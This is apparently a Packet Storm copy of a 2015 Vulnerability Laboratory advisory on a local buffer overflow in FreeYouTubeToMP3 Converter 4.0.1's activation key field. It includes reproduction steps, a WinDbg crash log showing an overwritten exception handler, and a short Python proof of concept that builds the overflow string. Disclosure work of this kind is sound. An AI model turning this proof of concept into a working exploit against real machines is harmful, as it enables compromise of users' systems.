exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

FreeYouTubeToMP3 Converter 4.0.1 Buffer Overflow

FreeYouTubeToMP3 Converter 4.0.1 Buffer Overflow
Posted Oct 9, 2015
Authored by Vulnerability Laboratory, ZwX | Site vulnerability-lab.com

FreeYouTubeToMP3 Converter version 4.0.1 suffers from a buffer overflow vulnerability.

tags | exploit, overflow
SHA-256 | c25aa7b8ea2738b878b257f4887fbc5682c63e244b2a8b7c9f9bf2bc5ff5bf55

FreeYouTubeToMP3 Converter 4.0.1 Buffer Overflow

Change Mirror Download
Document Title:
===============
FreeYouTubeToMP3 Converter 4.0.1 - Buffer Overflow Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1613


Release Date:
=============
2015-10-06


Vulnerability Laboratory ID (VL-ID):
====================================
1613


Common Vulnerability Scoring System:
====================================
7.2


Product & Service Introduction:
===============================
Free YouTube to MP3 Converter is the world`s best software that lets you convert YouTube videos to MP3 and lossless. 300 Million people have enjoyed our
software so far! It is the best choice to convert playlists and user channels to MP3. Download the music you love. Download your favorite artists music
for a playback. Сonvert to MP3 keeping the best possible quality (up to 320 kbps). Music in bulk. Find playlists and YouTube channels to match your mood.
Download and convert in a moment. Pure sound. Convert to lossless. Formats available: WAV, FLAC, ALAC. Perfect match. Convert YouTube to any device possible.
Output formats: MP3, M4A, AAC, WMA, OGG. DVDVideoSoft`s products are freeware. In order to maintain product development and provide you with high-quality
software, DVDVideoSoft may bundle links to other websites and third-party apps installations including toolbars in its products. Every time DVDVideoSoft
products are installed, you have an obvious option to accept or opt-out of such installations.

(Copy of the Vendor Homepage: https://www.dvdvideosoft.com )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a local buffer overflow vulnerability in the official Free Youtube To MP3 Converter v4.0.1 software.


Vulnerability Disclosure Timeline:
==================================
2015-10-06: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
DVDVideoSoft Ltd.
Product: Free YouTube to MP3 Converter - Software (Windows) 4.0.1.1001


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A classic buffer overflow vulnerability has been discovered in the official Free Youtube To MP3 Converter v4.0.1 software.
The local vulnerability allows to overwrite the registers of the software process to compromise the target computer system.

The vulnerability is located in the `Go Menu > Tools > Options > Key Activation` module. Local attackers are able to include
malicious unicode payload as `key` value (input) to crash the software via buffer overflow. Local attackers are able to takeover
the system process by an escalate of privileges in the local target computer system. The windows version of the software is affected
by the vulnerability. The vulnerable input is located in the activation key module.

The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.2.
Exploitation of the vulnerability requires a low privilege system user account and no user interaction. Successful exploitation of the local
vulnerability results in system compromise by elevation of privileges via overwrite of the registers.

Vulnerable Module(s):
[+] Go Menu > Tools > Options > Key Activation

Vulnerable Input(s):
[+] Activation Key

Affected Module(s):
[+] Activate


Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by local attackers with restricted account or system access and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Execute Free-YouTube-To-MP3-Converter.exe
2. Copy the AAAA...string from bof.txt to clipboard
3. Go Menu -> Tools -> Options
4. Paste it the input Activation Key AAAA....string click Activate
5. Software will Crash
6. Successful reproduce of the local buffer overflow vulnerability!


--- Debug Session Logs [WINDGB] ---
Access violation - code c0000005 (!!! second chance !!!)
eax=00316a30 ebx=41414141 ecx=41414141 edx=00000000 esi=00316a30 edi=00000000
eip=779071b4 esp=003169cc ebp=00316a1c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ntdll!KiFastSystemCallRet:
779071b4 c3 ret
0:000> !exchain
00319484: 41414141
Invalid exception stack at 41414141
0:000> d 00319484
00319484 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00319494 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194a4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194b4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194c4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194d4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194e4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
003194f4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
001e6a5c 776db2e6 001e6a70 001e6ac0 00000000 ntdll!KiFastSystemCallRet
001e6d90 776b0844 41414141 fffffffe fffffffe ntdll!RtlRemoteCall+0x236
001e6de0 7763f9be 41414141 0000004d 001e94b4 ntdll!EtwSetMark+0x14bea
001e6e60 77667117 001e6e78 001e6e94 001e6e78 ntdll!RtlGetGroupSecurityDescriptor+0x2b2
001e9334 41414141 41414141 41414141 41414141 ntdll!KiUserExceptionDispatcher+0xf
001e9338 41414141 41414141 41414141 41414141 0x41414141


PoC: Exploit
buffer = "\x41"*8538
seh = "\x42"*12

file = open("bof.txt","w")
file.write(buffer+seh)
file.close()

print "POC Created by ZwX"
print " Email: msk4@live.fr"


Solution - Fix & Patch:
=======================
The solution could be to restrict and filter the number of characters on input of the activation key.


Security Risk:
==============
The security risk of the local buffer overflow vulnerability in the software core is estimated as high. (CVSS 7.2)


Credits & Authors:
==================
ZwX - (http://zwx.fr/) [ http://www.vulnerability-lab.com/show.php?user=ZwX ]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™

--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close